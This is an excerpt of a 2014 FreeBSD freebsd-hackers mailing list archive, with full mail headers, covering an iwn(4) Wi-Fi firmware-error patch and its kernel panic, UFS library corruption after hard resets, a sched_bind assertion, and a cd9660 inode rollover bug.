iQJ8BAEBCgBmBQJTd7DPXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ4RThEMDY4QTIxMjc1MDZFRDIzODYzRTc4 QTY3RjlDOERFRjQxOTNCAAoJEIpn+cje9Bk74GUP/RjccKnn18psvXELocJZ+8WW 5YPSCFpBn2WsYhzsvO/dVQEsInVnpog8gZvwxiOdr2N0PEktc1QcvsgiVzvr15pi lSoTOGimhJKhGEIQeJpYGvaVNPU+Elsx2D3fGYfe2apyrsJ9yEe3UzMqL6bIfcgF w+x2Vubocm/QS2dc4uRFNG1VhdPMHe6oxZQwkjoCOCh1RTlyiTgH9OGhwKj6rF0E WXUWxDQfn8bM24OcN7ZgHSwEw0DjPLM30VrB2BrfvGtw3v1UDVICMZufbKV6C7Ib 5W7nozxOIORYM5ueo5Pw1gTa9xIflXojRRHNgRTQ3Yjh46q+wCGZVriUVbKXdyc/ 7IYkIYECUs0Ms2L5cMJcjpsZmCL+52O6wad5nPRgCqo8ZvSoCsL1Rwm97XE2jFaN Y9Ro58SSso1fviXwbtev8knK8xSmk6uMy6kKsMzkcxEYPUS6WVtnMpL/Sz5sqWu5 MnWkvAkeYEvhi7GYv5ECrx1Y6KGSzRGFohamhL802hidsWbbKbo9TotcDcNPVb/g KW2Frt+31jSz0MVsBf9Yai9fr5Ut2drQkokb21/kRPEHSCqukotAKzhKSAMyNC1o qtXHzgl5PoCLpzePeAx52dfrnafxyG1Cmp3Hia+8HPYHSOedb7lqj9EpRYshv61v uQjjUwJweO8JY/DjIssc =gSIy -----END PGP SIGNATURE----- --x+bne1ZFwxW5PfJO-- From owner-freebsd-hackers@FreeBSD.ORG Sat May 17 21:01:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CBD9FBF9 for ; Sat, 17 May 2014 21:01:02 +0000 (UTC) Received: from mail-ee0-x22d.google.com (mail-ee0-x22d.google.com [IPv6:2a00:1450:4013:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 610B426F1 for ; Sat, 17 May 2014 21:01:02 +0000 (UTC) Received: by mail-ee0-f45.google.com with SMTP id d49so2463338eek.32 for ; Sat, 17 May 2014 14:01:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=m1fEma0DovjjvWELwFmEdrUShIM5UIRugRF4VIV/GRo=; b=WI1u0ik6chNH3aYFepxlANfPn1wStpnrLpHlUDLaujNCs6u5r+MSuWvNWDHxD9ZGjM hoA2pI+jB9L8GxKXlHoZPNELUidoS20qy7HD9CNL7DtfTNfjABsdADpknPFaBT+Ikx1f LTEVlrPnmIOpmnqJ/rdlr0mYULKNv/lWTVCBQgTlPh8zTddMuNw3wPTD7fnMunEPIDzu uzgN91k57oNniyRUAg4cWB6Uo80MNj/LjsADR+SQW9YwHn1za7agzPTao3Z6PfXsiF+/ G4RU7YqGEsUzswyX3k95kaeIdGGZx1Sivu30i9gnLSi3W3RvPitOleBSZsn6Qr0csx2i XvBQ== X-Received: by 10.15.33.3 with SMTP id b3mr18960061eev.56.1400360460764; Sat, 17 May 2014 14:01:00 -0700 (PDT) Received: from strashydlo.home (adfh214.neoplus.adsl.tpnet.pl. [79.184.111.214]) by mx.google.com with ESMTPSA id o49sm10996100eep.33.2014.05.17.14.00.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 17 May 2014 14:00:59 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <20140517185616.GZ55053@albert.catwhisker.org> Date: Sat, 17 May 2014 23:00:58 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <20140517185616.GZ55053@albert.catwhisker.org> To: David Wolfskill X-Mailer: Apple Mail (2.1283) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 17 May 2014 21:01:02 -0000 Wiadomo=B6=E6 napisana przez David Wolfskill w dniu 17 maj 2014, o godz. = 20:56: > On Fri, May 16, 2014 at 08:06:02PM +0200, Edward Tomasz Napiera?a = wrote: >> I've started using FreeBSD laptop and iwn(4) failing at random = moments >> like this... >>=20 >> May 16 17:11:54 brick kernel: iwn0: iwn_intr: fatal firmware error >> May 16 17:11:54 brick kernel: firmware error log: >> May 16 17:11:54 brick kernel: error type =3D "NMI_INTERRUPT_WDG" = (0x00000004) >> ... >>=20 >> ... has been driving me crazy, so I wrote a workaround. The patch >> can be found here: >>=20 >> http://people.freebsd.org/~trasz/iwn.diff >>=20 >> I think it's too ugly to commit it as is (I'd never release crap like = this, >> but I know nothing about WiFi and iwn(4) in particular, so I feel = justified), >> but feedback is still welcome. >=20 > On Fri, May 16, 2014 at 08:16:01PM +0200, Edward Tomasz Napiera?a = wrote: >> ... >>> For which branch? >>=20 >> Ah, forgot about that. 11-HEAD. >=20 > So I've been running head/i386 with the above-cited patch for about = 1.75 > hrs. now -- by which time I would normally expect to have seen my > network connection have dropped -- and it's been quite steady, even > through listening to a streaming audio program for about an hour. Thanks! Note that it's easy to verify if the patch helps - just wait = until you see the "fatal firmware error" on the console or in dmesg. If the = network still works afterwards - the patch worked. From owner-freebsd-hackers@FreeBSD.ORG Sun May 18 05:12:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A2D07D84; Sun, 18 May 2014 05:12:15 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 6E3B22A34; Sun, 18 May 2014 05:12:14 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s4I5C8vb053752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sat, 17 May 2014 22:12:12 -0700 (PDT) (envelope-from julian@elischer.org) Message-ID: <53784122.8090607@elischer.org> Date: Sun, 18 May 2014 13:12:02 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: =?UTF-8?B?QWxpIE9rYW4gWcOcS1NFTA==?= , freebsd-hackers@freebsd.org Subject: Re: hard reset impacts on ufs file system References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Cc: fs@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 May 2014 05:12:15 -0000 On 5/16/14, 10:44 PM, Ali Okan YĂśKSEL wrote: > incident: > == > file corruption after hard reset on FreeBSD 8.3 > > > details: > == > Hard reset examined on freebsd 8.3. after reboot libncurses.so.8 was 0 > byte. And I couldn't login to system. It gave me error message about > /bin/sh - libncurses.so.8 corruption. (libncurses depens /bin/sh I guess) > I found the problem by using fixed shell. > > > solution: > == > I copied libncurses.so.8 from another system. When I did it problem solved. Unfortunattely libraries do seem to be one of the more common victims of this sort of thing but I have never worked out how. However,as you said, recovery is relatively easy by booting single user and specifying /rescue/sh as your shell. > > > question: > == > Is it known situation? Did you ever live a problem like this? yeas I have seen similar. I don't know why libraries are in that state though. > > > > Kind regards, > Ali Okan YĂĽksel > > > > From owner-freebsd-hackers@FreeBSD.ORG Sun May 18 05:18:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7DD8FEF3 for ; Sun, 18 May 2014 05:18:32 +0000 (UTC) Received: from hydra.pix.net (hydra.pix.net [IPv6:2001:470:e254::4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 55A7F2A57 for ; Sun, 18 May 2014 05:18:32 +0000 (UTC) Received: from torb.pix.net (torb.pix.net [IPv6:2001:470:e254:10:12dd:b1ff:febf:eca9]) (authenticated bits=0) by hydra.pix.net (8.14.8/8.14.8) with ESMTP id s4I5IUOk048641; Sun, 18 May 2014 01:18:30 -0400 (EDT) (envelope-from lidl@pix.net) X-Virus-Status: Clean X-Virus-Scanned: clamav-milter 0.98.1 at mail.pix.net Message-ID: <537842A6.6090904@pix.net> Date: Sun, 18 May 2014 01:18:30 -0400 From: Kurt Lidl User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: hard reset impacts on ufs file system References: <53784122.8090607@elischer.org> In-Reply-To: <53784122.8090607@elischer.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 May 2014 05:18:32 -0000 On 5/18/14 1:12 AM, Julian Elischer wrote: > On 5/16/14, 10:44 PM, Ali Okan YĂśKSEL wrote: >> incident: >> == >> file corruption after hard reset on FreeBSD 8.3 >> >> >> details: >> == >> Hard reset examined on freebsd 8.3. after reboot libncurses.so.8 was 0 >> byte. And I couldn't login to system. It gave me error message about >> /bin/sh - libncurses.so.8 corruption. (libncurses depens /bin/sh I guess) >> I found the problem by using fixed shell. >> >> >> solution: >> == >> I copied libncurses.so.8 from another system. When I did it problem >> solved. > Unfortunattely libraries do seem to be one of the more common > victims of this sort of thing but I have never worked out how. > However,as you said, recovery is relatively easy by booting single > user and specifying /rescue/sh as your shell. My original guess as to why this seemed to always happen to libraries was that the system damaged their entries when attempting to update the atime on the files. Two suggestions: turn off atimes, make sure any write-cache on your harddisk(s) is/are turned off. -Kurt From owner-freebsd-hackers@FreeBSD.ORG Sun May 18 13:57:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E4CE3728; Sun, 18 May 2014 13:57:28 +0000 (UTC) Received: from mail-vc0-x231.google.com (mail-vc0-x231.google.com [IPv6:2607:f8b0:400c:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 904892C4E; Sun, 18 May 2014 13:57:28 +0000 (UTC) Received: by mail-vc0-f177.google.com with SMTP id if17so8284643vcb.22 for ; Sun, 18 May 2014 06:57:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=6PawQ8lvdEToVozdGU5+cCsOKeRjjnVzBtAN/sDst6s=; b=RczZI51lHvAndoQW9K0ieuGO7BFIBEXZ7ddxO/bQ993S5R0qsAr/Vzgubw7ojc9S4e dxmC4U5eE+dKG4MRssqSf9ni7zs6fT9BRTTO1LjxzcrrFHg4+eUed9fMJHJMcR8Cvz37 LwTr7P343jX5IOwu4LUXGcJPJJKXmlVD8TgojmU3rKvaNKdyQwHCqbHs3z48afUnRanC QpKNxIxuT3RvEOH48WlZwlu+67jmOZlSkDpJTg+jwQKwcLgC0FVINI9/tMBg7sjk6C2h 3hS0b3uZIn0K4s1ZcAPZwpxD3NWrrkz248UD0OVyQP+cE1MdE/AHL6U5DQ1Fqj3SoYqW +btQ== X-Received: by 10.58.98.232 with SMTP id el8mr284349veb.42.1400421447646; Sun, 18 May 2014 06:57:27 -0700 (PDT) MIME-Version: 1.0 Sender: cochard@gmail.com Received: by 10.58.2.225 with HTTP; Sun, 18 May 2014 06:57:07 -0700 (PDT) In-Reply-To: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> From: =?ISO-8859-1?Q?Olivier_Cochard=2DLabb=E9?= Date: Sun, 18 May 2014 15:57:07 +0200 X-Google-Sender-Auth: FFummk7IeStPkgRjucIAjAfJ1Ls Message-ID: Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 May 2014 13:57:29 -0000 On Fri, May 16, 2014 at 8:06 PM, Edward Tomasz Napiera=C5=82a wrote: > I've started using FreeBSD laptop and iwn(4) failing at random moments > like this... > > I had the same problem too with iwn(4). > > ... has been driving me crazy, so I wrote a workaround. The patch > can be found here: > > http://people.freebsd.org/~trasz/iwn.diff > > I've tested you patch on a r266396, but it generate a panic: wlan0: Ethernet address: 00:1d:e0:29:19:65 Starting wpa_supplicant. Starting dhclient. wlan0: no link .............. giving up /etc/rc.d/dhclient: WARNING: failed to start dhclient iwn0: iwn_intr: fatal firmware error firmware error log: error type =3D "NMI_INTERRUPT_WDG" (0x00000004) program counter =3D 0x0000046C source line =3D 0x000000D0 error data =3D 0x0000000207030000 branch link =3D 0x00008370000004C2 interrupt link =3D 0x000006DE000018B8 time =3D 11427825 driver status: tx ring 0: qid=3D0 cur=3D0 queued=3D0 tx ring 1: qid=3D1 cur=3D0 queued=3D0 tx ring 2: qid=3D2 cur=3D0 queued=3D0 tx ring 3: qid=3D3 cur=3D1 queued=3D0 tx ring 4: qid=3D4 cur=3D68 queued=3D0 tx ring 5: qid=3D5 cur=3D0 queued=3D0 tx ring 6: qid=3D6 cur=3D0 queued=3D0 tx ring 7: qid=3D7 cur=3D0 queued=3D0 tx ring 8: qid=3D8 cur=3D0 queued=3D0 tx ring 9: qid=3D9 cur=3D0 queued=3D0 tx ring 10: qid=3D10 cur=3D0 queued=3D0 tx ring 11: qid=3D11 cur=3D0 queued=3D0 tx ring 12: qid=3D12 cur=3D0 queued=3D0 tx ring 13: qid=3D13 cur=3D0 queued=3D0 tx ring 14: qid=3D14 cur=3D0 queued=3D0 tx ring 15: qid=3D15 cur=3D0 queued=3D0 rx ring: cur=3D22 iwn0: iwn_intr: reinit; 0xfffffe00008090b0 iwn0: iwn_reinit_thread: controller panicked; resetting... Fatal trap 12: page fault while in kernel mode cpuid =3D 0; apic id =3D 00 fault virtual address =3D 0xffff fault code =3D supervisor read data, page not present instruction pointer =3D 0x20:0xffffffff805a4b10 stack pointer =3D 0x28:0xfffffe0120353b30 frame pointer =3D 0x28:0xfffffe0120353b60 code segment =3D base 0x0, limit 0xfffff, type 0x1b =3D DPL 0, pres 1, long 1, def32 0, gran 1 processor eflags =3D interrupt enabled, resume, IOPL =3D 0 current process =3D 0 (iwn_reinit) About the instruction pointer code: addr2line -e /boot/kernel/kernel.symbols 0xffffffff805a4b10 /usr/src/sys/dev/iwn/if_iwn.c:6792 Regards, Olivier From owner-freebsd-hackers@FreeBSD.ORG Sun May 18 15:48:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 278C77EA for ; Sun, 18 May 2014 15:48:45 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0017E2446 for ; Sun, 18 May 2014 15:48:44 +0000 (UTC) Received: from John-Baldwins-MacBook-Pro.local (CPE7cb21b17bdec-CM7cb21b17bde9.cpe.net.cable.rogers.com [99.241.40.247]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 12AB3B941; Sun, 18 May 2014 11:48:43 -0400 (EDT) Message-ID: <5378D65A.90905@FreeBSD.org> Date: Sun, 18 May 2014 11:48:42 -0400 From: John Baldwin User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Chris Torek , freebsd-hackers@freebsd.org Subject: Re: bad call to sched_bind() => hang, even with INVARIANTS References: <201405151720.s4FHK8RC065430@elf.torek.net> In-Reply-To: <201405151720.s4FHK8RC065430@elf.torek.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Sun, 18 May 2014 11:48:43 -0400 (EDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 May 2014 15:48:45 -0000 On 5/15/14, 1:20 PM, Chris Torek wrote: > I was poking around with a bhyve emulation, where the emulation > has only one CPU but the real systems have more. > > In our real-system code we had a sched_bind() that just assumed there > were 2 or more CPUs, instead of just the 1. This caused the entire > system to hang. (Note: using SCHED_ULE.) > > It's not immediately obvious to me what went wrong "underneath" to > cause the whole-system hang, but clearly it is wrong to attempt to > pin a thread to a CPU that does not exist. Should sched_bind() > have a KASSERT in it to make sure that the cpu argument is > sensible? (Or maybe even something a little more aggressive?) A KASSERT() is probably a good idea. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Sun May 18 18:16:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 108E2D35 for ; Sun, 18 May 2014 18:16:14 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.15.18]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA256 (256/256 bits)) (Client CN "mout.gmx.net", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 89B642F48 for ; Sun, 18 May 2014 18:16:13 +0000 (UTC) Received: from scdbackup.webframe.org ([87.167.175.94]) by mail.gmx.com (mrgmx002) with ESMTPSA (Nemesis) id 0Lug8u-1WueDa2ct6-00zpS3 for ; Sun, 18 May 2014 20:16:10 +0200 Date: Sun, 18 May 2014 20:15:45 +0200 From: "Thomas Schmitt" To: freebsd-hackers@freebsd.org Subject: About a bug in cd9660 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <20420668849133366718@scdbackup.webframe.org> X-Provags-ID: V03:K0:rIYyef9n5PFcRYptv+PCQ5lIhuhCR6cpz5A8o4ctpKNFkH0nBAQ HSWF2i3ZzSNc4wGUEACkUttf29EItAUXungG9YgHl/QqWzAYBDYqlda7DnEP89tx2BkzRsn XUXmHRUg5HFcVLIvnhg4FQdiYNLGIEHYrOneOVcIGMDmdn4rc2NjqCT4IY5QUKNBwdeeLfu lR5c4kXuz2m+yhHyrrXOA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 May 2014 18:16:14 -0000 Hi, two years ago, i reported a cd9660 problem with multi-session ISO 9660 where the last session begins above 4 GiB. http://lists.freebsd.org/pipermail/freebsd-hackers/2012-April/038570.html This bug is fixed now in NetBSD http://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=48787 The problem was a 32 bit rollover of the inode number. This number is simply the byte address of the ISO 9660 directory record, which caused the existence of the inode. The inode number is used to access this byte address for resolution of symbolic links, and for accessing directories. NetBSD has 64 bit ino_t. So adding a cast operator to the generation of the inode number fixed the problem. By webinterface i believe to see it in current FreeBSD source, too. The rollover in function isodirino(): http://fxr.watson.org/fxr/source/fs/cd9660/cd9660_node.c?v=FREEBSD10#L319 The reverse computation of the directory block address http://fxr.watson.org/fxr/source/fs/cd9660/cd9660_vfsops.c?v=FREEBSD10#L773 The reverse computation of the byte address of the directory record of a symbolic link target http://fxr.watson.org/fxr/source/fs/cd9660/cd9660_vnops.c?v=FREEBSD10#L692 And the reason why the NetBSD remedy will not help FreeBSD http://fxr.watson.org/fxr/source/sys/_types.h?v=FREEBSD10;im=3#L46 At least on my olde FreeBSD-8.4, sizeof(ino_t) is really 4. For the purpose of directory addressing, the problem could be postponed up to a limit of 128 GiB by dividing the byte address by 32 (or 34 if one wants to squeeze out the record size guarantee of ISO 9660). See (meanwhile retracted) proposal http://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=48797 But the task of symbolic link resolution will need to be implemented without relying on the inode number. I am willing to help fixing this problem in FreeBSD, but am currently still busy with learning how to interface with NetBSD kernel and (very friendly) community. There is another problem to be solved. Files larger than 4 GiB show identical symptoms as on FreeBSD: http://lists.freebsd.org/pipermail/freebsd-hackers/2012-April/038552.html So additionally to my knowledge about ISO 9660 and my half-knowledge about cd9660 filesystem code, there would be the need for somebody who knows how to properly implement what will be determined to be necessary. Actually i believe the existence of 32 bit ino_t leaves FreeBSD no choice but to get rid of the ino_t-to-address hacks in cd9660. Have a nice day :) Thomas From owner-freebsd-hackers@FreeBSD.ORG Mon May 19 11:58:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7A21D514 for ; Mon, 19 May 2014 11:58:59 +0000 (UTC) Received: from na01-by2-obe.outbound.protection.outlook.com (mail-by2lp0236.outbound.protection.outlook.com [207.46.163.236]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 542AA2358 for ; Mon, 19 May 2014 11:58:58 +0000 (UTC) Received: from BY2PR05MB582.namprd05.prod.outlook.com (10.141.219.146) by BY2PR05MB581.namprd05.prod.outlook.com (10.141.219.142) with Microsoft SMTP Server (TLS) id 15.0.944.11; Mon, 19 May 2014 11:58:56 +0000 Received: from BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) by BY2PR05MB582.namprd05.prod.outlook.com ([10.141.219.146]) with mapi id 15.00.0944.000; Mon, 19 May 2014 11:58:56 +0000 From: Andrew Duane To: Kurt Lidl , "freebsd-hackers@freebsd.org" Subject: RE: hard reset impacts on ufs file system Thread-Topic: hard reset impacts on ufs file system Thread-Index: AQHPclfgMYpu8VqTw0aQrzfwxTZqIJtFzIYAgAIBBxA= Date: Mon, 19 May 2014 11:58:55 +0000 Message-ID: <01adabb5cd9e4b849ef64af6e0d4e1fd@BY2PR05MB582.namprd05.prod.outlook.com> References: <53784122.8090607@elischer.org> <537842A6.6090904@pix.net> In-Reply-To: <537842A6.6090904@pix.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [66.129.241.15] x-forefront-prvs: 021670B4D2 x-forefront-antispam-report: SFV:NSPM; SFS:(6009001)(428001)(189002)(199002)(13464003)(479174003)(377454003)(24454002)(51704005)(74502001)(92566001)(74662001)(83322001)(31966008)(86362001)(2656002)(19580395003)(4396001)(19580405001)(85852003)(74316001)(83072002)(87936001)(20776003)(76176999)(81342001)(50986999)(77096999)(54356999)(99286001)(99396002)(80022001)(66066001)(64706001)(101416001)(33646001)(76576001)(77982001)(46102001)(79102001)(81542001)(21056001)(76482001)(24736002); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB581; H:BY2PR05MB582.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=aduane@juniper.net; Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 May 2014 11:58:59 -0000 LS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCkZyb206IG93bmVyLWZyZWVic2QtaGFja2Vyc0Bm cmVlYnNkLm9yZyBbbWFpbHRvOm93bmVyLWZyZWVic2QtaGFja2Vyc0BmcmVlYnNkLm9yZ10gT24g QmVoYWxmIE9mIEt1cnQgTGlkbA0KU2VudDogU3VuZGF5LCBNYXkgMTgsIDIwMTQgMToxOSBBTQ0K VG86IGZyZWVic2QtaGFja2Vyc0BmcmVlYnNkLm9yZw0KU3ViamVjdDogUmU6IGhhcmQgcmVzZXQg aW1wYWN0cyBvbiB1ZnMgZmlsZSBzeXN0ZW0NCg0KT24gNS8xOC8xNCAxOjEyIEFNLCBKdWxpYW4g RWxpc2NoZXIgd3JvdGU6DQo+IE9uIDUvMTYvMTQsIDEwOjQ0IFBNLCBBbGkgT2thbiBZw5xLU0VM IHdyb3RlOg0KPj4gaW5jaWRlbnQ6DQo+PiA9PQ0KPj4gZmlsZSBjb3JydXB0aW9uIGFmdGVyIGhh cmQgcmVzZXQgb24gRnJlZUJTRCA4LjMNCj4+DQo+PiBkZXRhaWxzOg0KPj4gPT0NCj4+IEhhcmQg cmVzZXQgZXhhbWluZWQgb24gZnJlZWJzZCA4LjMuIGFmdGVyIHJlYm9vdCBsaWJuY3Vyc2VzLnNv Ljggd2FzIDANCj4+IGJ5dGUuIEFuZCBJIGNvdWxkbid0IGxvZ2luIHRvIHN5c3RlbS4gSXQgZ2F2 ZSBtZSBlcnJvciBtZXNzYWdlIGFib3V0DQo+PiAvYmluL3NoIC0gbGlibmN1cnNlcy5zby44IGNv cnJ1cHRpb24uIChsaWJuY3Vyc2VzIGRlcGVucyAvYmluL3NoIEkgZ3Vlc3MpDQo+PiBJIGZvdW5k IHRoZSBwcm9ibGVtIGJ5IHVzaW5nIGZpeGVkIHNoZWxsLg0KPj4NCj4+IHNvbHV0aW9uOg0KPj4g PT0NCj4+IEkgY29waWVkIGxpYm5jdXJzZXMuc28uOCBmcm9tIGFub3RoZXIgc3lzdGVtLiBXaGVu IEkgZGlkIGl0IHByb2JsZW0gb2x2ZWQuDQo+IFVuZm9ydHVuYXR0ZWx5IGxpYnJhcmllcyBkbyBz ZWVtIHRvIGJlIG9uZSBvZiB0aGUgbW9yZSBjb21tb24NCj4gdmljdGltcyBvZiB0aGlzIHNvcnQg b2YgdGhpbmcgYnV0IEkgaGF2ZSBuZXZlciB3b3JrZWQgb3V0IGhvdy4NCj4gSG93ZXZlcixhcyB5 b3Ugc2FpZCwgcmVjb3ZlcnkgaXMgcmVsYXRpdmVseSBlYXN5IGJ5IGJvb3Rpbmcgc2luZ2xlDQo+ IHVzZXIgYW5kIHNwZWNpZnlpbmcgL3Jlc2N1ZS9zaCBhcyB5b3VyIHNoZWxsLg0KPg0KPiBNeSBv cmlnaW5hbCBndWVzcyBhcyB0byB3aHkgdGhpcyBzZWVtZWQgdG8gYWx3YXlzIGhhcHBlbiB0bw0K PiBsaWJyYXJpZXMgd2FzIHRoYXQgdGhlIHN5c3RlbSBkYW1hZ2VkIHRoZWlyIGVudHJpZXMgd2hl 